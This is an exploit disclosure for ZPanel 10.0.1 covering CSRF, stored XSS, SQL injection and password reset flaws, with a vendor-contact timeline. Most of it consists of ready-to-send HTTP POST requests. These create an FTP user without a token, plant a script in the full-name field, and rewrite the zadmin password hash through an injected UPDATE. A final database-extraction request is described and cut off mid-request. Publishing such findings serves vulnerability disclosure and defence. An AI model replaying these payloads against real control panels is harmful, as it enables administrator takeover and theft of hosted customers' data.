# Exploit Title: ZPanel <= 10.0.1 CSRF, XSS, SQLi, Password Reset # Date: 04/11/2012 # Exploit Author: pcsjj # Vendor Homepage: http://www.zpanelcp.com/ # Version: 10.0.1 # Software Link: http://sourceforge.net/projects/zpanelcp/files/latest/download # Downloads: 90,382 # CVE : CVE-2012-5683 (CSRF), CVE-2012-5684 (XSS), CVE-2012-5685(SQL Injection), CVE-2012-5686 (Password Reset) # I'm going to guess there are some more here. # 10/30/2012 - Contacted developers. # 10/31/2012 - Developer states preference for reporting through bug tracker. # 11/04/2012 - Developer confirms preference for reporting through bug tracker. # 11/04/2012 - Vulnerability disclosed in bug tracker. # Insufficient CSRF protection (CVE-2012-5683) # All sensitive functions are lacking CSRF protection. One example below is a request showing no authorization token is required for the creation of a FTP user called "fun". This could also be used to deliver both XSS (CVE-2012-5684) and SQLi (CVE-2012-5685) examples below. # http://192.168.1.100/?module=ftp_management&action=CreateFTP POST /zpanel/?module=ftp_management&action=CreateFTP HTTP/1.1 Host: 192.168.1.100 Referer: http://192.168.1.100/?module=ftp_management Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2 Content-Type: application/x-www-form-urlencoded Content-Length: 107 inFTPUsername=fun&inPassword=fun&inAccess=RW&inAutoHome=2&inDestination=&inDestination=&inSubmit= # Persistent XSS (CVE-2012-5684) # The "inFullname" parameter is vulnerable to XSS. User's real name is not being sanitized as it displayed within the control panel. # http://192.168.1.100/zpanel/?module=my_account&action=UpdateAccountSettings POST /?module=my_account&action=UpdateAccountSettings HTTP/1.1 Host: 192.168.1.100 Referer: http://192.168.1.100/zpanel/?module=my_account&action=UpdateAccountSettings Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2 Content-Type: application/x-www-form-urlencoded Content-Length: 143 inFullname=Admin%3Cscript%3Ealert%28/fun/%29%3C%2Fscript%3E&inEmail=admin% 40example.com&inPhone=101&inLanguage=en&inAddress=Home&inPostalCode=101 # SQL Injection (CVE-2012-5685) # "inEmailAddress" parameter is vulnerable to SQL injection. Since the injection point is in an UPDATE statement its trivial to manipulate the content of the database. For instance the zadmin password could be changed to password.(5f4dcc3b5aa765d61d8327deb882cf99) # http://192.168.1.100/?module=manage_clients&action=UpdateClient POST /?module=manage_clients&action=UpdateClient HTTP/1.1 Host: 192.168.182.128 Referer: http://192.168.1.100/?module=manage_clients&show=Edit&other=5 Cookie: PHPSESSID=4rcq0qoqcdp5f3e65jiuvsujd2 Content-Type: application/x-www-form-urlencoded Content-Length: 257 inGroup=2&inPackage=2&inFullName=reseller&inEmailAddress=%27%2C+ac_pass_vc%3D%275f4dcc3b5aa765d61d8327deb882cf99%27%2C+ac_user_vc%3D%27zadmin%27+WHERE+ac_id_pk%3D1%3B--&inAddress=&inPostCode=&inPhone=101&inNewPassword=&inEnabled=1&inClientID=5&inSubmit=Save # One more sqli example # A user can extract data from db though an UPDATE statement by using a subquery. As long as we update a field that is displayed back to us. To reproduce this example you need to know your ClientID which can be found in the referring page's url as the value of "other". In this example we use the email field to hold the result of the subquery. Usually you can't select from the table you're updating but by creating a temporary table called "fun" we can avoid that. Using group_concat we get all columns and all rows as a single string so that it all fits nicely in a single field. # http://192.168.1.100/?module=manage_clients&action=UpdateClient POST /?module=manage_clients&action=UpdateClient HTTP/1.1 Host: 192.168.1.100 Referer: http://192.168.1.100/?module=manage_clients&show=Edit&other=5 #